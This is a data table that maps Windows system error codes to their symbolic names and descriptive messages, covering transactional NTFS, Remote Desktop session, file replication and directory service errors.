0x00001a2d: ("ERROR_TRANSACTION_NOT_ACTIVE", "The requested operation was made in the context of a transaction that is no longer active."),
0x00001a2e: ("ERROR_TRANSACTION_REQUEST_NOT_VALID", "The requested operation is not valid on the Transaction object in its current state."),
0x00001a2f: ("ERROR_TRANSACTION_NOT_REQUESTED", "The caller has called a response API, but the response is not expected because the TM did not issue the corresponding request to the caller."),
0x00001a30: ("ERROR_TRANSACTION_ALREADY_ABORTED", "It is too late to perform the requested operation, since the Transaction has already been aborted."),
0x00001a31: ("ERROR_TRANSACTION_ALREADY_COMMITTED", "It is too late to perform the requested operation, since the Transaction has already been committed."),
0x00001a32: ("ERROR_TM_INITIALIZATION_FAILED", "The Transaction Manager was unable to be successfully initialized. Transacted operations are not supported."),
0x00001a33: ("ERROR_RESOURCEMANAGER_READ_ONLY", "The specified ResourceManager made no changes or updates to the resource under this transaction."),
0x00001a34: ("ERROR_TRANSACTION_NOT_JOINED", "The resource manager has attempted to prepare a transaction that it has not successfully joined."),
0x00001a35: ("ERROR_TRANSACTION_SUPERIOR_EXISTS", "The Transaction object already has a superior enlistment, and the caller attempted an operation that would have created a new superior. Only a single superior enlistment is allow."),
0x00001a36: ("ERROR_CRM_PROTOCOL_ALREADY_EXISTS", "The RM tried to register a protocol that already exists."),
0x00001a37: ("ERROR_TRANSACTION_PROPAGATION_FAILED", "The attempt to propagate the Transaction failed."),
0x00001a38: ("ERROR_CRM_PROTOCOL_NOT_FOUND", "The requested propagation protocol was not registered as a CRM."),
0x00001a39: ("ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER", "The buffer passed in to PushTransaction or PullTransaction is not in a valid format."),
0x00001a3a: ("ERROR_CURRENT_TRANSACTION_NOT_VALID", "The current transaction context associated with the thread is not a valid handle to a transaction object."),
0x00001a3b: ("ERROR_TRANSACTION_NOT_FOUND", "The specified Transaction object could not be opened, because it was not found."),
0x00001a3c: ("ERROR_RESOURCEMANAGER_NOT_FOUND", "The specified ResourceManager object could not be opened, because it was not found."),
0x00001a3d: ("ERROR_ENLISTMENT_NOT_FOUND", "The specified Enlistment object could not be opened, because it was not found."),
0x00001a3e: ("ERROR_TRANSACTIONMANAGER_NOT_FOUND", "The specified TransactionManager object could not be opened, because it was not found."),
0x00001a3f: ("ERROR_TRANSACTIONMANAGER_NOT_ONLINE", "The object specified could not be created or opened, because its associated TransactionManager is not online. The TransactionManager must be brought fully Online by calling RecoverTransactionManager to recover to the end of its LogFile before objects in its Transaction or ResourceManager namespaces can be opened. In addition, errors in writing records to its LogFile can cause a TransactionManager to go offline."),
0x00001a40: ("ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION", "The specified TransactionManager was unable to create the objects contained in its logfile in the Ob namespace. Therefore, the TransactionManager was unable to recover."),
0x00001a41: ("ERROR_TRANSACTION_NOT_ROOT", "The call to create a superior Enlistment on this Transaction object could not be completed, because the Transaction object specified for the enlistment is a subordinate branch of the Transaction. Only the root of the Transaction can be enlisted on as a superior."),
0x00001a42: ("ERROR_TRANSACTION_OBJECT_EXPIRED", "Because the associated transaction manager or resource manager has been closed, the handle is no longer valid."),
0x00001a43: ("ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED", "The specified operation could not be performed on this Superior enlistment, because the enlistment was not created with the corresponding completion response in the NotificationMask."),
0x00001a44: ("ERROR_TRANSACTION_RECORD_TOO_LONG", "The specified operation could not be performed, because the record that would be logged was too long. This can occur because of two conditions: either there are too many Enlistments on this Transaction, or the combined RecoveryInformation being logged on behalf of those Enlistments is too long."),
0x00001a45: ("ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED", "Implicit transaction are not supported."),
0x00001a46: ("ERROR_TRANSACTION_INTEGRITY_VIOLATED", "The kernel transaction manager had to abort or forget the transaction because it blocked forward progress."),
0x00001a47: ("ERROR_TRANSACTIONMANAGER_IDENTITY_MISMATCH", "The TransactionManager identity that was supplied did not match the one recorded in the TransactionManager's log file."),
0x00001a48: ("ERROR_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT", "This snapshot operation cannot continue because a transactional resource manager cannot be frozen in its current state. Please try again."),
0x00001a49: ("ERROR_TRANSACTION_MUST_WRITETHROUGH", "The transaction cannot be enlisted on with the specified EnlistmentMask, because the transaction has already completed the PrePrepare phase. In order to ensure correctness, the ResourceManager must switch to a write-through mode and cease caching data within this transaction. Enlisting for only subsequent transaction phases may still succeed."),
0x00001a4a: ("ERROR_TRANSACTION_NO_SUPERIOR", "The transaction does not have a superior enlistment."),
0x00001a4b: ("ERROR_HEURISTIC_DAMAGE_POSSIBLE", "The attempt to commit the Transaction completed, but it is possible that some portion of the transaction tree did not commit successfully due to heuristics. Therefore it is possible that some data modified in the transaction may not have committed, resulting in transactional inconsistency. If possible, check the consistency of the associated data."),
0x00001a90: ("ERROR_TRANSACTIONAL_CONFLICT", "The function attempted to use a name that is reserved for use by another transaction."),
0x00001a91: ("ERROR_RM_NOT_ACTIVE", "Transaction support within the specified resource manager is not started or was shut down due to an error."),
0x00001a92: ("ERROR_RM_METADATA_CORRUPT", "The metadata of the RM has been corrupted. The RM will not function."),
0x00001a93: ("ERROR_DIRECTORY_NOT_RM", "The specified directory does not contain a resource manager."),
0x00001a95: ("ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE", "The remote server or share does not support transacted file operations."),
0x00001a96: ("ERROR_LOG_RESIZE_INVALID_SIZE", "The requested log size is invalid."),
0x00001a97: ("ERROR_OBJECT_NO_LONGER_EXISTS", "The object (file, stream, link) corresponding to the handle has been deleted by a Transaction Savepoint Rollback."),
0x00001a98: ("ERROR_STREAM_MINIVERSION_NOT_FOUND", "The specified file miniversion was not found for this transacted file open."),
0x00001a99: ("ERROR_STREAM_MINIVERSION_NOT_VALID", "The specified file miniversion was found but has been invalidated. Most likely cause is a transaction savepoint rollback."),
0x00001a9a: ("ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION", "A miniversion may only be opened in the context of the transaction that created it."),
0x00001a9b: ("ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT", "It is not possible to open a miniversion with modify access."),
0x00001a9c: ("ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS", "It is not possible to create any more miniversions for this stream."),
0x00001a9e: ("ERROR_REMOTE_FILE_VERSION_MISMATCH", "The remote server sent mismatching version number or Fid for a file opened with transactions."),
0x00001a9f: ("ERROR_HANDLE_NO_LONGER_VALID", "The handle has been invalidated by a transaction. The most likely cause is the presence of memory mapping on a file or an open handle when the transaction ended or rolled back to savepoint."),
0x00001aa0: ("ERROR_NO_TXF_METADATA", "There is no transaction metadata on the file."),
0x00001aa1: ("ERROR_LOG_CORRUPTION_DETECTED", "The log data is corrupt."),
0x00001aa2: ("ERROR_CANT_RECOVER_WITH_HANDLE_OPEN", "The file can't be recovered because there is a handle still open on it."),
0x00001aa3: ("ERROR_RM_DISCONNECTED", "The transaction outcome is unavailable because the resource manager responsible for it has disconnected."),
0x00001aa4: ("ERROR_ENLISTMENT_NOT_SUPERIOR", "The request was rejected because the enlistment in question is not a superior enlistment."),
0x00001aa5: ("ERROR_RECOVERY_NOT_NEEDED", "The transactional resource manager is already consistent. Recovery is not needed."),
0x00001aa6: ("ERROR_RM_ALREADY_STARTED", "The transactional resource manager has already been started."),
0x00001aa7: ("ERROR_FILE_IDENTITY_NOT_PERSISTENT", "The file cannot be opened transactionally, because its identity depends on the outcome of an unresolved transaction."),
0x00001aa8: ("ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY", "The operation cannot be performed because another transaction is depending on the fact that this property will not change."),
0x00001aa9: ("ERROR_CANT_CROSS_RM_BOUNDARY", "The operation would involve a single file with two transactional resource managers and is therefore not allowed."),
0x00001aaa: ("ERROR_TXF_DIR_NOT_EMPTY", "The $Txf directory must be empty for this operation to succeed."),
0x00001aab: ("ERROR_INDOUBT_TRANSACTIONS_EXIST", "The operation would leave a transactional resource manager in an inconsistent state and is therefore not allowed."),
0x00001aac: ("ERROR_TM_VOLATILE", "The operation could not be completed because the transaction manager does not have a log."),
0x00001aad: ("ERROR_ROLLBACK_TIMER_EXPIRED", "A rollback could not be scheduled because a previously scheduled rollback has already executed or been queued for execution."),
0x00001aae: ("ERROR_TXF_ATTRIBUTE_CORRUPT", "The transactional metadata attribute on the file or directory is corrupt and unreadable."),
0x00001aaf: ("ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION", "The encryption operation could not be completed because a transaction is active."),
0x00001ab0: ("ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED", "This object is not allowed to be opened in a transaction."),
0x00001ab1: ("ERROR_LOG_GROWTH_FAILED", "An attempt to create space in the transactional resource manager's log failed. The failure status has been recorded in the event log."),
0x00001ab2: ("ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE", "Memory mapping (creating a mapped section) a remote file under a transaction is not supported."),
0x00001ab3: ("ERROR_TXF_METADATA_ALREADY_PRESENT", "Transaction metadata is already present on this file and cannot be superseded."),
0x00001ab4: ("ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET", "A transaction scope could not be entered because the scope handler has not been initialized."),
0x00001ab5: ("ERROR_TRANSACTION_REQUIRED_PROMOTION", "Promotion was required in order to allow the resource manager to enlist, but the transaction was set to disallow it."),
0x00001ab6: ("ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION", "This file is open for modification in an unresolved transaction and may be opened for execute only by a transacted reader."),
0x00001ab7: ("ERROR_TRANSACTIONS_NOT_FROZEN", "The request to thaw frozen transactions was ignored because transactions had not previously been frozen."),
0x00001ab8: ("ERROR_TRANSACTION_FREEZE_IN_PROGRESS", "Transactions cannot be frozen because a freeze is already in progress."),
0x00001ab9: ("ERROR_NOT_SNAPSHOT_VOLUME", "The target volume is not a snapshot volume. This operation is only valid on a volume mounted as a snapshot."),
0x00001aba: ("ERROR_NO_SAVEPOINT_WITH_OPEN_FILES", "The savepoint operation failed because files are open on the transaction. This is not permitted."),
0x00001abb: ("ERROR_DATA_LOST_REPAIR", "Windows has discovered corruption in a file, and that file has since been repaired. Data loss may have occurred."),
0x00001abc: ("ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION", "The sparse operation could not be completed because a transaction is active on the file."),
0x00001abd: ("ERROR_TM_IDENTITY_MISMATCH", "The call to create a TransactionManager object failed because the Tm Identity stored in the logfile does not match the Tm Identity that was passed in as an argument."),
0x00001abe: ("ERROR_FLOATED_SECTION", "I/O was attempted on a section object that has been floated as a result of a transaction ending. There is no valid data."),
0x00001abf: ("ERROR_CANNOT_ACCEPT_TRANSACTED_WORK", "The transactional resource manager cannot currently accept transacted work due to a transient condition such as low resources."),
0x00001ac0: ("ERROR_CANNOT_ABORT_TRANSACTIONS", "The transactional resource manager had too many tranactions outstanding that could not be aborted. The transactional resource manger has been shut down."),
0x00001ac1: ("ERROR_BAD_CLUSTERS", "The operation could not be completed due to bad clusters on disk."),
0x00001ac2: ("ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION", "The compression operation could not be completed because a transaction is active on the file."),
0x00001ac3: ("ERROR_VOLUME_DIRTY", "The operation could not be completed because the volume is dirty. Please run chkdsk and try again."),
0x00001ac4: ("ERROR_NO_LINK_TRACKING_IN_TRANSACTION", "The link tracking operation could not be completed because a transaction is active."),
0x00001ac5: ("ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION", "This operation cannot be performed in a transaction."),
0x00001ac6: ("ERROR_EXPIRED_HANDLE", "The handle is no longer properly associated with its transaction. It may have been opened in a transactional resource manager that was subsequently forced to restart. Please close the handle and open a new one."),
0x00001ac7: ("ERROR_TRANSACTION_NOT_ENLISTED", "The specified operation could not be performed because the resource manager is not enlisted in the transaction."),
0x00001b59: ("ERROR_CTX_WINSTATION_NAME_INVALID", "The specified session name is invalid."),
0x00001b5a: ("ERROR_CTX_INVALID_PD", "The specified protocol driver is invalid."),
0x00001b5b: ("ERROR_CTX_PD_NOT_FOUND", "The specified protocol driver was not found in the system path."),
0x00001b5c: ("ERROR_CTX_WD_NOT_FOUND", "The specified terminal connection driver was not found in the system path."),
0x00001b5d: ("ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY", "A registry key for event logging could not be created for this session."),
0x00001b5e: ("ERROR_CTX_SERVICE_NAME_COLLISION", "A service with the same name already exists on the system."),
0x00001b5f: ("ERROR_CTX_CLOSE_PENDING", "A close operation is pending on the session."),
0x00001b60: ("ERROR_CTX_NO_OUTBUF", "There are no free output buffers available."),
0x00001b61: ("ERROR_CTX_MODEM_INF_NOT_FOUND", "The MODEM.INF file was not found."),
0x00001b62: ("ERROR_CTX_INVALID_MODEMNAME", "The modem name was not found in MODEM.INF."),
0x00001b63: ("ERROR_CTX_MODEM_RESPONSE_ERROR", "The modem did not accept the command sent to it. Verify that the configured modem name matches the attached modem."),
0x00001b64: ("ERROR_CTX_MODEM_RESPONSE_TIMEOUT", "The modem did not respond to the command sent to it. Verify that the modem is properly cabled and powered on."),
0x00001b65: ("ERROR_CTX_MODEM_RESPONSE_NO_CARRIER", "Carrier detect has failed or carrier has been dropped due to disconnect."),
0x00001b66: ("ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE", "Dial tone not detected within the required time. Verify that the phone cable is properly attached and functional."),
0x00001b67: ("ERROR_CTX_MODEM_RESPONSE_BUSY", "Busy signal detected at remote site on callback."),
0x00001b68: ("ERROR_CTX_MODEM_RESPONSE_VOICE", "Voice detected at remote site on callback."),
0x00001b69: ("ERROR_CTX_TD_ERROR", "Transport driver error"),
0x00001b6e: ("ERROR_CTX_WINSTATION_NOT_FOUND", "The specified session cannot be found."),
0x00001b6f: ("ERROR_CTX_WINSTATION_ALREADY_EXISTS", "The specified session name is already in use."),
0x00001b70: ("ERROR_CTX_WINSTATION_BUSY", "The task you are trying to do can't be completed because Remote Desktop Services is currently busy. Please try again in a few minutes. Other users should still be able to log on."),
0x00001b71: ("ERROR_CTX_BAD_VIDEO_MODE", "An attempt has been made to connect to a session whose video mode is not supported by the current client."),
0x00001b7b: ("ERROR_CTX_GRAPHICS_INVALID", "The application attempted to enable DOS graphics mode. DOS graphics mode is not supported."),
0x00001b7d: ("ERROR_CTX_LOGON_DISABLED", "Your interactive logon privilege has been disabled. Please contact your administrator."),
0x00001b7e: ("ERROR_CTX_NOT_CONSOLE", "The requested operation can be performed only on the system console. This is most often the result of a driver or system DLL requiring direct console access."),
0x00001b80: ("ERROR_CTX_CLIENT_QUERY_TIMEOUT", "The client failed to respond to the server connect message."),
0x00001b81: ("ERROR_CTX_CONSOLE_DISCONNECT", "Disconnecting the console session is not supported."),
0x00001b82: ("ERROR_CTX_CONSOLE_CONNECT", "Reconnecting a disconnected session to the console is not supported."),
0x00001b84: ("ERROR_CTX_SHADOW_DENIED", "The request to control another session remotely was denied."),
0x00001b85: ("ERROR_CTX_WINSTATION_ACCESS_DENIED", "The requested session access is denied."),
0x00001b89: ("ERROR_CTX_INVALID_WD", "The specified terminal connection driver is invalid."),
0x00001b8a: ("ERROR_CTX_SHADOW_INVALID", "The requested session cannot be controlled remotely."),
0x00001b8b: ("ERROR_CTX_SHADOW_DISABLED", "The requested session is not configured to allow remote control."),
0x00001b8c: ("ERROR_CTX_CLIENT_LICENSE_IN_USE", "Your request to connect to this Terminal Server has been rejected. Your Terminal Server client license number is currently being used by another user. Please call your system administrator to obtain a unique license number."),
0x00001b8d: ("ERROR_CTX_CLIENT_LICENSE_NOT_SET", "Your request to connect to this Terminal Server has been rejected. Your Terminal Server client license number has not been entered for this copy of the Terminal Server client. Please contact your system administrator."),
0x00001b8e: ("ERROR_CTX_LICENSE_NOT_AVAILABLE", "The number of connections to this computer is limited and all connections are in use right now. Try connecting later or contact your system administrator."),
0x00001b8f: ("ERROR_CTX_LICENSE_CLIENT_INVALID", "The client you are using is not licensed to use this system. Your logon request is denied."),
0x00001b90: ("ERROR_CTX_LICENSE_EXPIRED", "The system license has expired. Your logon request is denied."),
0x00001b91: ("ERROR_CTX_SHADOW_NOT_RUNNING", "Remote control could not be terminated because the specified session is not currently being remotely controlled."),
0x00001b92: ("ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE", "The remote control of the console was terminated because the display mode was changed. Changing the display mode in a remote control session is not supported."),
0x00001b93: ("ERROR_ACTIVATION_COUNT_EXCEEDED", "Activation has already been reset the maximum number of times for this installation. Your activation timer will not be cleared."),
0x00001b94: ("ERROR_CTX_WINSTATIONS_DISABLED", "Remote logins are currently disabled."),
0x00001b95: ("ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED", "You do not have the proper encryption level to access this Session."),
0x00001b96: ("ERROR_CTX_SESSION_IN_USE", "The user %s\\%s is currently logged on to this computer. Only the current user or an administrator can log on to this computer."),
0x00001b97: ("ERROR_CTX_NO_FORCE_LOGOFF", "The user %s\\%s is already logged on to the console of this computer. You do not have permission to log in at this time. To resolve this issue, contact %s\\%s and have them log off."),
0x00001b98: ("ERROR_CTX_ACCOUNT_RESTRICTION", "Unable to log you on because of an account restriction."),
0x00001b99: ("ERROR_RDP_PROTOCOL_ERROR", "The RDP protocol component %2 detected an error in the protocol stream and has disconnected the client."),
0x00001b9a: ("ERROR_CTX_CDM_CONNECT", "The Client Drive Mapping Service Has Connected on Terminal Connection."),
0x00001b9b: ("ERROR_CTX_CDM_DISCONNECT", "The Client Drive Mapping Service Has Disconnected on Terminal Connection."),
0x00001b9c: ("ERROR_CTX_SECURITY_LAYER_ERROR", "The Terminal Server security layer detected an error in the protocol stream and has disconnected the client."),
0x00001b9d: ("ERROR_TS_INCOMPATIBLE_SESSIONS", "The target session is incompatible with the current session."),
0x00001b9e: ("ERROR_TS_VIDEO_SUBSYSTEM_ERROR", "Windows can't connect to your session because a problem occurred in the Windows video subsystem. Try connecting again later, or contact the server administrator for assistance."),
0x00001f41: ("FRS_ERR_INVALID_API_SEQUENCE", "The file replication service API was called incorrectly."),
0x00001f42: ("FRS_ERR_STARTING_SERVICE", "The file replication service cannot be started."),
0x00001f43: ("FRS_ERR_STOPPING_SERVICE", "The file replication service cannot be stopped."),
0x00001f44: ("FRS_ERR_INTERNAL_API", "The file replication service API terminated the request. The event log may have more information."),
0x00001f45: ("FRS_ERR_INTERNAL", "The file replication service terminated the request. The event log may have more information."),
0x00001f46: ("FRS_ERR_SERVICE_COMM", "The file replication service cannot be contacted. The event log may have more information."),
0x00001f47: ("FRS_ERR_INSUFFICIENT_PRIV", "The file replication service cannot satisfy the request because the user has insufficient privileges. The event log may have more information."),
0x00001f48: ("FRS_ERR_AUTHENTICATION", "The file replication service cannot satisfy the request because authenticated RPC is not available. The event log may have more information."),
0x00001f49: ("FRS_ERR_PARENT_INSUFFICIENT_PRIV", "The file replication service cannot satisfy the request because the user has insufficient privileges on the domain controller. The event log may have more information."),
0x00001f4a: ("FRS_ERR_PARENT_AUTHENTICATION", "The file replication service cannot satisfy the request because authenticated RPC is not available on the domain controller. The event log may have more information."),
0x00001f4b: ("FRS_ERR_CHILD_TO_PARENT_COMM", "The file replication service cannot communicate with the file replication service on the domain controller. The event log may have more information."),
0x00001f4c: ("FRS_ERR_PARENT_TO_CHILD_COMM", "The file replication service on the domain controller cannot communicate with the file replication service on this computer. The event log may have more information."),
0x00001f4d: ("FRS_ERR_SYSVOL_POPULATE", "The file replication service cannot populate the system volume because of an internal error. The event log may have more information."),
0x00001f4e: ("FRS_ERR_SYSVOL_POPULATE_TIMEOUT", "The file replication service cannot populate the system volume because of an internal timeout. The event log may have more information."),
0x00001f4f: ("FRS_ERR_SYSVOL_IS_BUSY", "The file replication service cannot process the request. The system volume is busy with a previous request."),
0x00001f50: ("FRS_ERR_SYSVOL_DEMOTE", "The file replication service cannot stop replicating the system volume because of an internal error. The event log may have more information."),
0x00001f51: ("FRS_ERR_INVALID_SERVICE_PARAMETER", "The file replication service detected an invalid parameter."),
0x00002008: ("ERROR_DS_NOT_INSTALLED", "An error occurred while installing the directory service. For more information, see the event log."),
0x00002009: ("ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY", "The directory service evaluated group memberships locally."),
0x0000200a: ("ERROR_DS_NO_ATTRIBUTE_OR_VALUE", "The specified directory service attribute or value does not exist."),
0x0000200b: ("ERROR_DS_INVALID_ATTRIBUTE_SYNTAX", "The attribute syntax specified to the directory service is invalid."),
0x0000200c: ("ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED", "The attribute type specified to the directory service is not defined."),
0x0000200d: ("ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS", "The specified directory service attribute or value already exists."),
0x0000200e: ("ERROR_DS_BUSY", "The directory service is busy."),
0x0000200f: ("ERROR_DS_UNAVAILABLE", "The directory service is unavailable."),
0x00002010: ("ERROR_DS_NO_RIDS_ALLOCATED", "The directory service was unable to allocate a relative identifier."),
0x00002011: ("ERROR_DS_NO_MORE_RIDS", "The directory service has exhausted the pool of relative identifiers."),
0x00002012: ("ERROR_DS_INCORRECT_ROLE_OWNER", "The requested operation could not be performed because the directory service is not the master for that type of operation."),
0x00002013: ("ERROR_DS_RIDMGR_INIT_ERROR", "The directory service was unable to initialize the subsystem that allocates relative identifiers."),
0x00002014: ("ERROR_DS_OBJ_CLASS_VIOLATION", "The requested operation did not satisfy one or more constraints associated with the class of the object."),
0x00002015: ("ERROR_DS_CANT_ON_NON_LEAF", "The directory service can perform the requested operation only on a leaf object."),
0x00002016: ("ERROR_DS_CANT_ON_RDN", "The directory service cannot perform the requested operation on the RDN attribute of an object."),
0x00002017: ("ERROR_DS_CANT_MOD_OBJ_CLASS", "The directory service detected an attempt to modify the object class of an object."),
0x00002018: ("ERROR_DS_CROSS_DOM_MOVE_ERROR", "The requested cross-domain move operation could not be performed."),
0x00002019: ("ERROR_DS_GC_NOT_AVAILABLE", "Unable to contact the global catalog server."),
0x0000201a: ("ERROR_SHARED_POLICY", "The policy object is shared and can only be modified at the root."),
0x0000201b: ("ERROR_POLICY_OBJECT_NOT_FOUND", "The policy object does not exist."),
0x0000201c: ("ERROR_POLICY_ONLY_IN_DS", "The requested policy information is only in the directory service."),
0x0000201d: ("ERROR_PROMOTION_ACTIVE", "A domain controller promotion is currently active."),
0x0000201e: ("ERROR_NO_PROMOTION_ACTIVE", "A domain controller promotion is not currently active"),
0x00002020: ("ERROR_DS_OPERATIONS_ERROR", "An operations error occurred."),
0x00002021: ("ERROR_DS_PROTOCOL_ERROR", "A protocol error occurred."),
0x00002022: ("ERROR_DS_TIMELIMIT_EXCEEDED", "The time limit for this request was exceeded."),
0x00002023: ("ERROR_DS_SIZELIMIT_EXCEEDED", "The size limit for this request was exceeded."),
0x00002024: ("ERROR_DS_ADMIN_LIMIT_EXCEEDED", "The administrative limit for this request was exceeded."),
0x00002025: ("ERROR_DS_COMPARE_FALSE", "The compare response was false."),
0x00002026: ("ERROR_DS_COMPARE_TRUE", "The compare response was true."),
0x00002027: ("ERROR_DS_AUTH_METHOD_NOT_SUPPORTED", "The requested authentication method is not supported by the server."),
0x00002028: ("ERROR_DS_STRONG_AUTH_REQUIRED", "A more secure authentication method is required for this server."),
0x00002029: ("ERROR_DS_INAPPROPRIATE_AUTH", "Inappropriate authentication."),
0x0000202a: ("ERROR_DS_AUTH_UNKNOWN", "The authentication mechanism is unknown."),
0x0000202b: ("ERROR_DS_REFERRAL", "A referral was returned from the server."),
0x0000202c: ("ERROR_DS_UNAVAILABLE_CRIT_EXTENSION", "The server does not support the requested critical extension."),
0x0000202d: ("ERROR_DS_CONFIDENTIALITY_REQUIRED", "This request requires a secure connection."),
0x0000202e: ("ERROR_DS_INAPPROPRIATE_MATCHING", "Inappropriate matching."),
0x0000202f: ("ERROR_DS_CONSTRAINT_VIOLATION", "A constraint violation occurred."),
0x00002030: ("ERROR_DS_NO_SUCH_OBJECT", "There is no such object on the server."),
0x00002031: ("ERROR_DS_ALIAS_PROBLEM", "There is an alias problem."),
0x00002032: ("ERROR_DS_INVALID_DN_SYNTAX", "An invalid dn syntax has been specified."),
0x00002033: ("ERROR_DS_IS_LEAF", "The object is a leaf object."),
0x00002034: ("ERROR_DS_ALIAS_DEREF_PROBLEM", "There is an alias dereferencing problem."),
0x00002035: ("ERROR_DS_UNWILLING_TO_PERFORM", "The server is unwilling to process the request."),
0x00002036: ("ERROR_DS_LOOP_DETECT", "A loop has been detected."),
0x00002037: ("ERROR_DS_NAMING_VIOLATION", "There is a naming violation."),
0x00002038: ("ERROR_DS_OBJECT_RESULTS_TOO_LARGE", "The result set is too large."),
0x00002039: ("ERROR_DS_AFFECTS_MULTIPLE_DSAS", "The operation affects multiple DSAs"),
0x0000203a: ("ERROR_DS_SERVER_DOWN", "The server is not operational."),
0x0000203b: ("ERROR_DS_LOCAL_ERROR", "A local error has occurred."),
0x0000203c: ("ERROR_DS_ENCODING_ERROR", "An encoding error has occurred."),
0x0000203d: ("ERROR_DS_DECODING_ERROR", "A decoding error has occurred."),
0x0000203e: ("ERROR_DS_FILTER_UNKNOWN", "The search filter cannot be recognized."),
0x0000203f: ("ERROR_DS_PARAM_ERROR", "One or more parameters are illegal."),
0x00002040: ("ERROR_DS_NOT_SUPPORTED", "The specified method is not supported."),
0x00002041: ("ERROR_DS_NO_RESULTS_RETURNED", "No results were returned."),
0x00002042: ("ERROR_DS_CONTROL_NOT_FOUND", "The specified control is not supported by the server."),
0x00002043: ("ERROR_DS_CLIENT_LOOP", "A referral loop was detected by the client."),
0x00002044: ("ERROR_DS_REFERRAL_LIMIT_EXCEEDED", "The preset referral limit was exceeded."),
0x00002045: ("ERROR_DS_SORT_CONTROL_MISSING", "The search requires a SORT control."),
0x00002046: ("ERROR_DS_OFFSET_RANGE_ERROR", "The search results exceed the offset range specified."),
0x00002047: ("ERROR_DS_RIDMGR_DISABLED", "The directory service detected the subsystem that allocates relative identifiers is disabled. This can occur as a protective mechanism when the system determines a significant portion of relative identifiers (RIDs) have been exhausted. Please see http://go.microsoft.com/fwlink/?LinkId=228610 for recommended diagnostic steps and the procedure to re-enable account creation."),
0x0000206d: ("ERROR_DS_ROOT_MUST_BE_NC", "The root object must be the head of a naming context. The root object cannot have an instantiated parent."),
0x0000206e: ("ERROR_DS_ADD_REPLICA_INHIBITED", "The add replica operation cannot be performed. The naming context must be writeable in order to create the replica."),
0x0000206f: ("ERROR_DS_ATT_NOT_DEF_IN_SCHEMA", "A reference to an attribute that is not defined in the schema occurred."),
0x00002070: ("ERROR_DS_MAX_OBJ_SIZE_EXCEEDED", "The maximum size of an object has been exceeded."),
0x00002071: ("ERROR_DS_OBJ_STRING_NAME_EXISTS", "An attempt was made to add an object to the directory with a name that is already in use."),
0x00002072: ("ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA", "An attempt was made to add an object of a class that does not have an RDN defined in the schema."),
0x00002073: ("ERROR_DS_RDN_DOESNT_MATCH_SCHEMA", "An attempt was made to add an object using an RDN that is not the RDN defined in the schema."),
0x00002074: ("ERROR_DS_NO_REQUESTED_ATTS_FOUND", "None of the requested attributes were found on the objects."),
0x00002075: ("ERROR_DS_USER_BUFFER_TO_SMALL", "The user buffer is too small."),
0x00002076: ("ERROR_DS_ATT_IS_NOT_ON_OBJ", "The attribute specified in the operation is not present on the object."),
0x00002077: ("ERROR_DS_ILLEGAL_MOD_OPERATION", "Illegal modify operation. Some aspect of the modification is not permitted."),
0x00002078: ("ERROR_DS_OBJ_TOO_LARGE", "The specified object is too large."),
0x00002079: ("ERROR_DS_BAD_INSTANCE_TYPE", "The specified instance type is not valid."),
0x0000207a: ("ERROR_DS_MASTERDSA_REQUIRED", "The operation must be performed at a master DSA."),
0x0000207b: ("ERROR_DS_OBJECT_CLASS_REQUIRED", "The object class attribute must be specified."),
0x0000207c: ("ERROR_DS_MISSING_REQUIRED_ATT", "A required attribute is missing."),
0x0000207d: ("ERROR_DS_ATT_NOT_DEF_FOR_CLASS", "An attempt was made to modify an object to include an attribute that is not legal for its class."),
0x0000207e: ("ERROR_DS_ATT_ALREADY_EXISTS", "The specified attribute is already present on the object."),
0x00002080: ("ERROR_DS_CANT_ADD_ATT_VALUES", "The specified attribute is not present, or has no values."),
0x00002081: ("ERROR_DS_SINGLE_VALUE_CONSTRAINT", "Multiple values were specified for an attribute that can have only one value."),
0x00002082: ("ERROR_DS_RANGE_CONSTRAINT", "A value for the attribute was not in the acceptable range of values."),
0x00002083: ("ERROR_DS_ATT_VAL_ALREADY_EXISTS", "The specified value already exists."),
0x00002084: ("ERROR_DS_CANT_REM_MISSING_ATT", "The attribute cannot be removed because it is not present on the object."),
0x00002085: ("ERROR_DS_CANT_REM_MISSING_ATT_VAL", "The attribute value cannot be removed because it is not present on the object."),
0x00002086: ("ERROR_DS_ROOT_CANT_BE_SUBREF", "The specified root object cannot be a subref."),
0x00002087: ("ERROR_DS_NO_CHAINING", "Chaining is not permitted."),
0x00002088: ("ERROR_DS_NO_CHAINED_EVAL", "Chained evaluation is not permitted."),
0x00002089: ("ERROR_DS_NO_PARENT_OBJECT", "The operation could not be performed because the object's parent is either uninstantiated or deleted."),
0x0000208a: ("ERROR_DS_PARENT_IS_AN_ALIAS", "Having a parent that is an alias is not permitted. Aliases are leaf objects."),
0x0000208b: ("ERROR_DS_CANT_MIX_MASTER_AND_REPS", "The object and parent must be of the same type, either both masters or both replicas."),
0x0000208c: ("ERROR_DS_CHILDREN_EXIST", "The operation cannot be performed because child objects exist. This operation can only be performed on a leaf object."),
0x0000208d: ("ERROR_DS_OBJ_NOT_FOUND", "Directory object not found."),
0x0000208e: ("ERROR_DS_ALIASED_OBJ_MISSING", "The aliased object is missing."),
0x0000208f: ("ERROR_DS_BAD_NAME_SYNTAX", "The object name has bad syntax."),
